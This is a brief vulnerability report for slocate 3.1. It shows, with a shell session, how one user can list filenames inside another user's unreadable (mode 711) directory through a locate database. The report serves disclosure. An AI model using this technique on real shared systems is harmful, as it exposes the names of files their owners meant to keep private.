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* Version tested: 3.1
* Problem description: slocate doesn't check readability bit of containing directory. It can divulge the existence of files in a directory that is unreadable (e.g. by the 'ls' command) by a user.
* Demonstration:
As user1:
$ cd /tmp
$ mkdir dir
$ chmod 711 dir
$ cd dir
$ touch "a-secret-file"
$ cd ..
$ updatedb -o db -U dir
As user2:
$ cd /tmp
$ ls dir
ls: .: Permission denied
But:
$ slocate -d db file
dir/a-secret-file